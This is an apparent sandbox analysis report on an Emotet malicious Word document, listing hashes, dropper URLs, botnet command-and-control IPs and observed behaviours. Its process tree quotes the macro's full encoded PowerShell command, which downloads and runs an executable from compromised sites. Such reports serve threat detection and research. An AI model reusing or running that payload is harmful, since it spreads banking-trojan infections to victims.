emotet | b61fc68a9efffee30c14b3a350ba014cf16c5cd4181b3fe5052ae5e5d889f685

Analysis

max time kernel
137s
max time network
141s
platform
windows10_x64
resource
win10
submitted
20/10/2020, 13:54

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General

Target
emotet_e1_b61fc68a9efffee30c14b3a350ba014cf16c5cd4181b3fe5052ae5e5d889f685_2020-10-20__135124729737._doc.doc
Size 166KB
Sample201020-bxvwqa7vm2
SHA256 b61fc68a9efffee30c14b3a350ba014cf16c5cd4181b3fe5052ae5e5d889f685
MD5 88f04c147577f3c4ec1fa17218f043f0
SHA1 77745bf2c0c5d2eeb9a51df41002ee46c71f32de
SHA512 d99ef7f2f417c9ac5c07a62d0ba3d6832c7e0c57266598c1b6f8604966f0bdd857d8b9ed4e5842f357dcd75549c89d5202813e60fb8323b46aa2ac5b2aa1967f
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://inventorelectronica.com/wp-admin/M/
exe.dropper
http://aguemiimoveis.com/bond-market/73a/
exe.dropper
http://upcloudweb.com/content/a/
exe.dropper
http://methilinfotech.com/maliga/th/
exe.dropper
https://statusquobrand.com/1/HS/
exe.dropper
https://www.breedenandsilver.com/wp-content/ix6/
exe.dropper
http://cefaly.club/themes/lA/

Extracted

Family

emotet

Botnet

Epoch1

186.189.249.2:80
59.148.253.194:8080
173.212.197.71:8080
5.89.33.136:80
177.144.130.105:443
190.190.219.184:80
82.76.111.249:443
70.32.115.157:8080
62.84.75.50:80
190.24.243.186:80
51.15.7.145:80
24.232.228.233:80
46.105.114.137:8080
216.47.196.104:80
172.86.186.21:8080
186.103.141.250:443
128.92.203.42:80
190.188.245.242:80
152.169.22.67:80
170.81.48.2:80
178.211.45.66:8080
201.71.228.86:80
111.67.12.221:8080
70.169.17.134:80
5.196.35.138:7080
104.131.41.185:8080
60.93.23.51:80
181.123.6.86:80
137.74.106.111:7080
51.15.7.189:80
94.176.234.118:443
74.135.120.91:80
188.135.15.49:80
77.78.196.173:443
177.73.0.98:443
213.52.74.198:80
177.144.130.105:8080
177.74.228.34:80
209.236.123.42:8080
37.187.161.206:8080
174.118.202.24:443
178.250.54.208:8080
109.190.35.249:80
188.251.213.180:80
191.182.6.118:80
64.201.88.132:80
79.118.74.90:80
177.129.17.170:443
212.71.237.140:8080
109.190.249.106:80
192.232.229.54:7080
189.223.16.99:80
201.213.177.139:80
85.214.26.7:8080
191.191.23.135:80
46.43.2.95:8080
50.28.51.143:8080
98.103.204.12:443
37.179.145.105:80
46.101.58.37:8080
2.45.176.233:80
74.58.215.226:80
68.183.190.199:8080
185.94.252.27:443
186.222.250.115:8080
51.255.165.160:8080
138.97.60.140:8080
183.176.82.231:80
105.209.235.113:8080
77.238.212.227:80
103.236.179.162:80
45.46.37.97:80
83.169.21.32:7080
217.13.106.14:8080
68.183.170.114:8080
192.241.143.52:8080
202.134.4.210:7080
177.23.7.151:80
192.81.38.31:80
188.157.101.114:80
185.183.16.47:80
181.129.96.162:8080
87.106.46.107:8080
149.202.72.142:7080
45.33.77.42:8080
186.70.127.199:8090
175.143.12.123:8080
98.13.75.196:80
12.163.208.58:80
5.189.178.202:8080
138.97.60.141:7080
181.30.61.163:443
219.92.13.25:80
181.61.182.143:80
213.197.182.158:8080
1.226.84.243:8080
12.162.84.2:8080
189.2.177.210:443
185.94.252.12:80
51.75.33.127:80
190.115.18.139:8080
70.32.84.74:8080
81.215.230.173:443
172.104.169.32:8080
37.183.81.217:80
200.127.14.97:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1624	808	POwersheLL.exe	75

Emotet Payload 2 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1316-14-0x0000000002160000-0x0000000002170000-memory.dmp	emotet
behavioral2/memory/2696-20-0x00000000007A0000-0x00000000007B0000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
18	1624	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1316	Iwdm7t.exe
2696	Windows.Devices.Bluetooth.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\atl\Windows.Devices.Bluetooth.exe	Iwdm7t.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3588	WINWORD.EXE
3588	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1624	POwersheLL.exe
1624	POwersheLL.exe
1624	POwersheLL.exe
2696	Windows.Devices.Bluetooth.exe
2696	Windows.Devices.Bluetooth.exe
2696	Windows.Devices.Bluetooth.exe
2696	Windows.Devices.Bluetooth.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1624	POwersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3588	WINWORD.EXE
3588	WINWORD.EXE
3588	WINWORD.EXE
3588	WINWORD.EXE
3588	WINWORD.EXE
3588	WINWORD.EXE
3588	WINWORD.EXE
3588	WINWORD.EXE
3588	WINWORD.EXE
1316	Iwdm7t.exe
1316	Iwdm7t.exe
2696	Windows.Devices.Bluetooth.exe
2696	Windows.Devices.Bluetooth.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1316 wrote to memory of 2696	1316	Iwdm7t.exe	83
PID 1316 wrote to memory of 2696	1316	Iwdm7t.exe	83
PID 1316 wrote to memory of 2696	1316	Iwdm7t.exe	83

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_b61fc68a9efffee30c14b3a350ba014cf16c5cd4181b3fe5052ae5e5d889f685_2020-10-20__135124729737._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3588

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD IAAgAHMARQB0AC0ASQB0AEUAbQAgAHYAQQBSAEkAYQBCAEwAZQA6AFQAcwB2ADMATQBlACAAIAAoACAAIABbAHQAeQBQAGUAXQAoACcAcwB5AHMAVABlAE0ALgBpACcAKwAnAE8AJwArACcALgAnACsAJwBEACcAKwAnAGkAcgBlAEMAdABvAHIAeQAnACkAIAAgACkAOwAgACAAIABzAGUAVAAgACAAKAAnAGwAYQAnACsAJwBqAEgAJwApACAAIAAoACAAIABbAHQAeQBwAEUAXQAoACcAUwB5AHMAdABFACcAKwAnAG0ALgAnACsAJwBuAEUAVAAnACsAJwAuAFMARQByAFYAaQBDACcAKwAnAGUAUAAnACsAJwBvAGkATgAnACsAJwB0AG0AYQBOACcAKwAnAEEARwBFAHIAJwApACkAIAA7ACAAIABTAEUAVAAgACAAdQA0AGgAMQA5ACAAIAAoAFsAVABZAHAARQBdACgAJwBzAHkAJwArACcAUwB0AEUAbQAuAG4AZQB0AC4AcwAnACsAJwBFACcAKwAnAGMAVQBSAEkAdAB5AFAAJwArACcAcgBPAHQAJwArACcAbwBDAE8AJwArACcAbAB0AFkAUABFACcAKQApADsAIAAgACQARQA4AGUAaABnAGkANgA9ACgAJwBOACcAKwAnADYAeQBrACcAKwAnAHIAOAAwACcAKQA7ACQAWABhADQAcABiAGkAYwA9ACQAQQAwAGwAdQB4AHEAbQAgACsAIABbAGMAaABhAHIAXQAoADgAMAAgAC0AIAAzADgAKQAgACsAIAAkAFIAdgBuAGoAOQB2ADgAOwAkAFkAaQBpAGUAZQA2AHkAPQAoACcARQAnACsAJwBxAHcAcgAnACsAJwB4AHYAagAnACkAOwAgACAAJAB0AFMAVgAzAE0AZQA6ADoAYwBSAEUAQQBUAGUAZABJAHIARQBjAFQAbwBSAHkAKAAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACAAKwAgACgAKAAnAHQAUgBqACcAKwAnAEwAYQBoAGYAbABrADYAdABSAGoAUgAnACsAJwBlAGoAMgAnACsAJwBsAHgAYwAnACsAJwB0ACcAKwAnAFIAagAnACkAIAAgAC0AYwByAGUAcABsAGEAQwBlACcAdABSAGoAJwAsAFsAQwBoAEEAcgBdADkAMgApACkAOwAkAEUAdgAxAG4AbQBzADgAPQAoACcAUAAnACsAJwB5ACcAKwAnAHUAdwA2AHcANQAnACkAOwAgACAAKABDAEgAaQBMAGQASQBUAGUAbQAgACAAKAAiAFYAIgArACIAYQByAGkAIgArACIAQQBCACIAKwAiAGwAZQA6AEwAIgArACIAYQBqAGgAIgApACkALgBWAEEATABVAGUAOgA6AHMARQBjAHUAcgBpAHQAWQBQAHIAbwBUAE8AQwBPAGwAIAA9ACAAIAAoACAARwBFAHQALQBpAHQAZQBtACAAIAB2AGEAUgBJAEEAQgBsAEUAOgB1ADQASAAxADkAIAAgACkALgB2AEEATAB1AGUAOgA6AHQATABTADEAMgA7ACQAWQBvAG0AaQB5ADYAdQA9ACgAJwBIAGQAbwBnADUAJwArACcANgA1ACcAKQA7ACQAVAB0AGwAYgBuAGgAbAAgAD0AIAAoACcASQB3ACcAKwAnAGQAbQA3AHQAJwApADsAJABMAG0AcwB0AHEAbABjAD0AKAAnAE8AeAB5AHMAaQBqACcAKwAnAGIAJwApADsAJABJAGEAdABjAGkAZQAxAD0AKAAnAFMAJwArACcANQByAGsAagBzAHIAJwApADsAJABYAGQANQAzAHYANgB2AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAGoARAA0ACcAKwAnAEwAYQBoAGYAbABrACcAKwAnADYAagBEADQAUgBlACcAKwAnAGoAJwArACcAMgBsAHgAJwArACcAYwAnACsAJwBqACcAKwAnAEQANAAnACkALgBSAEUAUABsAEEAQwBlACgAJwBqAEQANAAnACwAJwBcACcAKQApACsAJABUAHQAbABiAG4AaABsACsAKAAnAC4AZQB4ACcAKwAnAGUAJwApADsAJABLAHEANwA3AGcAbABlAD0AKAAnAEcAMQAnACsAJwA1AHUAZgBuACcAKwAnAHcAJwApADsAJABaAF8AZgBnADYAZgBwAD0ATgBlAHcAYAAtAGAAbwBCAGoARQBDAFQAIABOAGUAdAAuAHcAZQBCAGMAbABJAEUAbgBUADsAJABLADMAdQA3ADEAcgBrAD0AKAAnAGgAdAB0AHAAOgAvACcAKwAnAC8AaQBuAHYAZQBuACcAKwAnAHQAbwByAGUAJwArACcAbABlAGMAdAAnACsAJwByACcAKwAnAG8AbgBpAGMAYQAuAGMAbwAnACsAJwBtAC8AdwBwAC0AYQBkAG0AaQAnACsAJwBuAC8AJwArACcATQAvACcAKwAnACoAJwArACcAaAB0AHQAcAAnACsAJwA6AC8ALwAnACsAJwBhAGcAdQBlACcAKwAnAG0AaQBpACcAKwAnAG0AJwArACcAbwB2AGUAaQAnACsAJwBzAC4AYwBvAG0AJwArACcALwAnACsAJwBiAG8AbgBkAC0AbQBhAHIAJwArACcAawBlAHQAJwArACcALwA3ADMAYQAnACsAJwAvACoAJwArACcAaAB0AHQAcAA6AC8ALwB1AHAAYwAnACsAJwBsAG8AJwArACcAdQBkAHcAZQBiACcAKwAnAC4AYwBvAG0ALwBjAG8AJwArACcAbgB0AGUAbgAnACsAJwB0AC8AJwArACcAYQAvACoAaAB0AHQAcAA6ACcAKwAnAC8AJwArACcALwBtACcAKwAnAGUAJwArACcAdABoAGkAbAAnACsAJwBpACcAKwAnAG4AZgAnACsAJwBvACcAKwAnAHQAZQBjACcAKwAnAGgALgBjAG8AbQAvACcAKwAnAG0AYQBsAGkAJwArACcAZwBhAC8AJwArACcAdAAnACsAJwBoAC8AJwArACcAKgBoAHQAJwArACcAdABwAHMAOgAvACcAKwAnAC8AcwB0AGEAdAB1AHMAcQB1AG8AJwArACcAYgByAGEAbgBkAC4AJwArACcAYwBvAG0ALwAxAC8ASABTAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3ACcAKwAnAHcALgAnACsAJwBiAHIAZQBlAGQAZQAnACsAJwBuAGEAbgAnACsAJwBkACcAKwAnAHMAaQAnACsAJwBsAHYAJwArACcAZQByAC4AYwBvACcAKwAnAG0AJwArACcALwAnACsAJwB3AHAALQBjACcAKwAnAG8AbgB0AGUAbgAnACsAJwB0AC8AaQB4ADYALwAqAGgAdAAnACsAJwB0AHAAJwArACcAOgAnACsAJwAvAC8AYwBlACcAKwAnAGYAYQBsAHkALgBjAGwAdQBiAC8AdAAnACsAJwBoAGUAbQAnACsAJwBlAHMALwBsAEEALwAnACkALgBzAHAAbABJAFQAKAAkAEgAcwAzAGwAbQByADEAIAArACAAJABYAGEANABwAGIAaQBjACAAKwAgACQAUQB2ADUAdwA1ADMAZQApADsAJABFAHcAZAAzAG4AZgA5AD0AKAAnAFgAegA1ACcAKwAnAHMAawBnADIAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABZADYAYwB2AGsAagBtACAAaQBuACAAJABLADMAdQA3ADEAcgBrACkAewB0AHIAeQB7ACQAWgBfAGYAZwA2AGYAcAAuAEQATwBXAG4AbABvAEEAZABmAGkATABlACgAJABZADYAYwB2AGsAagBtACwAIAAkAFgAZAA1ADMAdgA2AHYAKQA7ACQARgB5AGEAMgAxAGYAMgA9ACgAJwBUAHUAagB2AHMAJwArACcAcwBhACcAKQA7AEkAZgAgACgAKABHAEUAVAAtAEkAVABgAGUATQAgACQAWABkADUAMwB2ADYAdgApAC4AbABFAE4AZwB0AEgAIAAtAGcAZQAgADMAMQAxADEAOAApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AKAAnAHcAJwArACcAaQBuADMAMgBfAFAAJwArACcAcgBvACcAKwAnAGMAZQBzACcAKwAnAHMAJwApACkALgBDAHIAZQBBAFQAZQAoACQAWABkADUAMwB2ADYAdgApADsAJABUAG8AdQBqADYAcQBlAD0AKAAnAFQAcAB5AHkAJwArACcAaABiACcAKwAnAHIAJwApADsAYgByAGUAYQBrADsAJABMAG8AZwAzAG8AbQBhAD0AKAAnAEUAYQA1ADgAJwArACcAbgB0AHAAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABKADcAdAAzAGcAZQBvAD0AKAAnAFgAZgAwADIAJwArACcAZABrAHQAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1624

C:\Users\Admin\Lahflk6\Rej2lxc\Iwdm7t.exe
C:\Users\Admin\Lahflk6\Rej2lxc\Iwdm7t.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1316
- C:\Windows\SysWOW64\atl\Windows.Devices.Bluetooth.exe
  "C:\Windows\SysWOW64\atl\Windows.Devices.Bluetooth.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:2696

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1316-14-0x0000000002160000-0x0000000002170000-memory.dmp

Download

memory/1624-6-0x00007FFF812D0000-0x00007FFF81CBC000-memory.dmp

Download

memory/1624-7-0x0000026DE45E0000-0x0000026DE45E1000-memory.dmp

Download

memory/1624-8-0x0000026DE4790000-0x0000026DE4791000-memory.dmp

Download

memory/2696-20-0x00000000007A0000-0x00000000007B0000-memory.dmp

Download

memory/3588-5-0x000001A58C119000-0x000001A58C11C000-memory.dmp

Download

memory/3588-0-0x00007FFF889E0000-0x00007FFF890A6000-memory.dmp

Download

memory/3588-4-0x000001A58BF88000-0x000001A58BF8B000-memory.dmp

Download

memory/3588-3-0x000001A58BF88000-0x000001A58BF8B000-memory.dmp

Download

memory/3588-2-0x000001A58BF88000-0x000001A58BF8B000-memory.dmp

Download

memory/3588-1-0x000001A58BF83000-0x000001A58BF88000-memory.dmp

Download